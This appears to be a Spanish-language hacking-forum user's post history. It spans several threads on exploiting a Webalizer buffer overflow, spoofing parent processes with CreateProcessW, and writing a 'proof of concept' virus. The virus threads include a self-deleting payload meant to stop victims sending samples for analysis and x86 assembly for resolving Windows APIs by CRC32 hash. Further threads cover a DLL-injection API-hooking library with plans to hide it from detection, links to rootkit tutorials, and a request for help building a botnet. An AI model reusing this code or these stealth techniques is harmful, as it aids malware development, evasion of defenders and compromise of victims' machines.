|
Mostrar Temas
|
Páginas: [1]
|
1
|
Seguridad Informática / Bugs y Exploits / Reverse DNS lookup for buffer overflow attack
|
en: 14 Septiembre 2012, 13:41 pm
|
Hola, estoy "auditando" (como diría Anelkaos) la seguridad de un web server, el cual corre una versión vulnerable (o eso creo yo) de Webalizer (v2.01). Después de buscar vulnerabilidades y bajarme el código fuente (sólo por si acaso), vi que se hablaba de un "stack based buffer overflow" al realizar una búsqueda DNS inversa.
Aunque al final resulte que la versión de Webalizer no sea vulnerable, me gustaría saber como sería posible explotar este tipo de vulnerabilidades (dejando a un lado NX, ASLR, stack canaries y otras lindeces).
Nota: lo primero que se me ocurrio es hacer que el tráfico de esa maquina pase por mí vía ARP poisoning, rogue AP, o algo así,... pero esto hacia un servidor no creo que sea aplicable.
Saludos
|
|
|
2
|
Seguridad Informática / Análisis y Diseño de Malware / ErrorInvalidParameter en CreateProcessW con EXTENDED_STARTUPINFO_PRESENT
|
en: 4 Junio 2012, 19:21 pm
|
Bueeeno, he intentado ser lo más explícito posible con el tema de este post. Primero una introducción (para los que no lo sepan ya): <INTRO> A partir de Windows Vista se puede "elegir" el proceso padre para un nuevo proceso (siempre que se tenga permisos para abrir el proceso). </INTRO> Corta,ehh? xD El caso es que lo he estado probando en Windows 7 x64 y me funciona con la versión ANSI (CreateProcessA) pero no con CreateProcessW. El código que uso es éste: /* ... */ if(SysGetVersion() < OSV_WIN_VISTA) { SetLastError(ERROR_NOT_SUPPORTED); return FALSE; }
if(!pwzExePath || lstrlenW(pwzExePath) > MAX_PATH) { SetLastError(ERROR_INVALID_PARAMETER); return FALSE; }
STARTUPINFOEXW st = { sizeof(STARTUPINFOEXW) }; GetStartupInfoW(&st.StartupInfo);
PROCESS_INFORMATION pci;
SIZE_T cbList = 0; InitializeProcThreadAttributeList(NULL, 1, 0, &cbList); st.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(SYS_HEAP, 0, cbList); DBG_ASSERT(st.lpAttributeList); InitializeProcThreadAttributeList(st.lpAttributeList, 1, 0, &cbList); UpdateProcThreadAttribute(st.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);
DBG_MSGBOX_TRACE_W(pwzExePath);
BOOL bRet = CreateProcessW(NULL, L"C:\\Windows\\system32\\cmd.exe" /*pwzExePath*/, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &st.StartupInfo, &pci);
DeleteProcThreadAttributeList(st.lpAttributeList); HeapFree(SYS_HEAP, 0, st.lpAttributeList);
if(bRet) { DBG_MSGBOX_TRACE("No error"); CloseHandle(pci.hProcess); CloseHandle(pci.hThread); } else DBG_MSGBOX_TRACE("Error");
return bRet;
Nota: supongo que debe de ser algo relacionado con la especificacion del tamaño de las estructuras, pero como todavía no hay un ollydbg para x64 y no me aclaro con el windbg (y se cuelga mucho, no se si solo me pasa a mi), no he podido debuggearlo
|
|
|
4
|
Seguridad Informática / Análisis y Diseño de Malware / Borrar ejecutable en ejecucion
|
en: 20 Marzo 2012, 01:10 am
|
Hola, soy nts94 y me gustaría saber si en windows es posible modificar un binario mientras se está ejecutando (con lo facil que es en linux!). Vereis: estoy trabajando en un virus (como siempre, solo una POC, no lo vereis pululando por ahí) el cual quiero que al llegar el momento de activar su payload (algo original, que abrir la disquetera ya esta muy visto ) se desinfecte a sí mismo SOLO DEL BINARIO ACTUAL (es decir, el virus lleva un contador del numero de infecciones, y llegado a un punto solo uno de ellos se activara, y ese es el unico que quiero que se desactive de todo el sistema). La idea es que cuando al usuario le salte una pantallita en plan "TONTO, TE HAS INFECTADO", pues como que le va a dar click a "Mandar a analizar" y nos va a joder el invento. Por todo lo que he dicho, no me vale usar CopyFileEx con MOVEFILE_DELAY_UNTIL_REBOOT. PD: se me había ocurrido que tal vez podia inyectar parte del codigo (el que desinfecta) en otro proceso, y desde ahí desinfectarme, pero en Windows Vista/7 la inyeccion de codigo esta más complicada (por lo de los "Procesos Protegidos", sesiones, etc) Bueno, gracias por adelantado
|
|
|
5
|
Seguridad Informática / Análisis y Diseño de Malware / El programa rompe al llegar a LoadLibrary
|
en: 14 Marzo 2012, 01:05 am
|
Hola a todos, estoy haciendo un pequeño virus (sin ánimo de soltarlo, claro, solo como POC) y tras mucho debuggear con el Olly resulta que me lanza una ACCESS_VIOLATION tras llamar a LoadLibraryA en una función que realiza el mismo trabajo que GetProcAddress pero pasándole en su lugar un CRC32, alguien puede ayudarme? Las pruebas las he hecho en un Win 7 x64. Aquí adjunto el código de la función: @@get_proc: ; [OnEntry] ; edx => crc32 ; ebx => hModule ; [OnExit] ; eax => lpfnApi / NULL (OnError) assume ebx:ptr IMAGE_DOS_HEADER push edi push esi push ebp mov edi,ebx add edi,[ebx].e_lfanew assume edi:ptr IMAGE_NT_HEADERS mov edi,[edi].OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress add edi,ebx assume edi:ptr IMAGE_EXPORT_DIRECTORY xor ecx,ecx mov esi,[edi].AddressOfNames add esi,ebx mov ebp,[edi].NumberOfNames @@apiname_loop: lodsd add eax,ebx xchg eax,esi push eax ; save AddressOfNames push ecx call @@strlen xchg eax,ecx push edx call @@crc32 pop edx pop ecx pop esi cmp eax,edx jnz @@not_api_hash mov esi,[edi].AddressOfNameOrdinals add esi,ebx shl ecx,1h add esi,ecx movzx ecx,word ptr [esi] shl ecx,2h mov esi,[edi].AddressOfFunctions add esi,ebx add esi,ecx mov eax,dword ptr [esi] ; code here to check whether we are being forwarded (does the RVA fall into the .edata?) mov ebp,ebx add ebp,[ebx].e_lfanew assume ebp:ptr IMAGE_NT_HEADERS mov ecx,[ebp].OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress ; thanks to Matt Pietrek cmp eax,ecx jb @@not_forwarded add ecx,[ebp].OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].isize cmp eax,ecx ja @@not_forwarded @@get_forwarded: pop ebp add eax,ebx xchg esi,eax call @@strlen push ecx push GMEM_FIXED call dword ptr [ebp + delta(f_globalalloc)] xchg eax,edi push edi ; there could be a bug: if someone makes a fwd api without a dot, the host will crash @@: lodsb stosb cmp al,'.' jne @@not_dot mov eax,'lld' stosd jmp @@match_dot @@not_dot: loop @B @@match_dot: call dword ptr [ebp + delta(f_loadlibrary)] ; I know the program won't be able to free the library (i don't know yet how ms loader does it) push esi push eax call dword ptr [ebp + delta(f_getprocaddress)] push eax push edi call dword ptr [ebp + delta(f_globalfree)] pop eax jmp @@fwd_api_found @@not_forwarded: add eax,ebx jmp @@api_found @@not_api_hash: inc ecx cmp ecx,ebp ; I need ecx as a counter jbe @@apiname_loop @@not_found: xor eax,eax @@api_found: pop ebp @@fwd_api_found: pop esi pop edi ret
@@strlen: ; [OnEntry] ; esi => [StringA] ; [OnExit] ; eax => Length xchg esi,edi xor eax,eax xor ecx,ecx dec ecx push edi repnz scasb pop edi inc ecx not ecx xchg eax,ecx xchg esi,edi ret
.const POLYNOM equ 0edb88320h .code @@crc32: ; [OnEntry] ; esi => [Mem] ; ecx => count ; [OnExit] ; eax => crc32 xor edx,edx dec edx @@crc_loop: mov eax,edx and eax,0ffh xor al,byte ptr [esi] push ecx mov ecx,8h @@: test al,1h jz @@bit_not_set shr eax,1h xor eax,POLYNOM jmp @@bit_continue @@bit_not_set: shr eax,1h @@bit_continue: loop @B pop ecx inc esi shr edx,8h xor edx,eax loop @@crc_loop xchg eax,edx not eax ret
Tras tracear un poco veo que las llamadas van así: - LoadLibraryA -> LoadLibraryExA -> KernelBase.749B6DEF -> ntdll.RtlAnsiStringToUnicodeString -> ... Les agradezco cualquier ayuda/opinión/orientación sobre el tema PD: Acabo de comprobar que en XP funciona perfectamente, puede ser por algo relacionado con WOW32? O tal vez es por Win7? Ah, y perdon por un tema/post tan largo, es que no quiero que falte nada de info
|
|
|
6
|
Seguridad Informática / Hacking / Win32 API Hooking
|
en: 9 Febrero 2012, 23:54 pm
|
Hola a todos. Bueno, hace mucho que no me pasaba por el foro y puesto que la última vez que lo hice solo provoque una extraña guerra relacionada con las BotNet's (BOTNETS sí, BOTNETS no) he decidido compensar eso. Bueno, aqui os traigo una implementacion MUY sencilla del tema del API hooking en Win32 (por lo que he leído, es parecida a la librería Detours de MS), pero esta bajo licencia GPL XD Utiliza la técnica de la inyeccion DLL (en realidad la DLL debe inyectarse en el proceso que convenga) e inserta un FAR JMP al inicio de la API, por lo que afecta tambien a todo aquel proceso que se intente pasar de listo y llame a la API mediante GetProcAddress (al contrario que con la técnica del IAT). Por el momento es facilmente detectable, pero tengo pensado: --> Mejorar la forma en que se inyecta la DLL con GetThreadContext() y SetThreadContext() (en lugar de CreateRemoteThread()) --> Ocultar la DLL desde DllMain() modificando la PEB --> Lo que se os ocurra XD Código fuente: http://dl.dropbox.com/u/47594913/HookThemAll.rarComo crear un rootkit by e0n: http://foro.elhacker.net/analisis_y_diseno_de_malware/querias_tutos_de_programacion_de_malware_pues_toma-t196251.0.htmlHooking HowTo: http://vx.netlux.org/29a/29a-7/Articles/29A-7.019Nota: no sabía si ponerlo aqui, en el subforo de programacion en C, el de malware,... Nota2: Acabo de leer la técnica VEH... brillante, aunque como todo, igualmente detectable (mediante VirtualQueryEx), menos conocida pero genial
|
|
|
7
|
Seguridad Informática / Hacking / Creación de pc's zombies: botnets
|
en: 5 Julio 2010, 02:16 am
|
Hace poco me encontré con una noticia relacionada con tres hackers españoles que habían creado la mayor red de pc's zombies de la historia. ¿Alguien me puede ayudar con este tema? Los que esteis interesados en la dominación del mundo (igual se ma ido la pinza) ayuda
|
|
|
|
|
|
|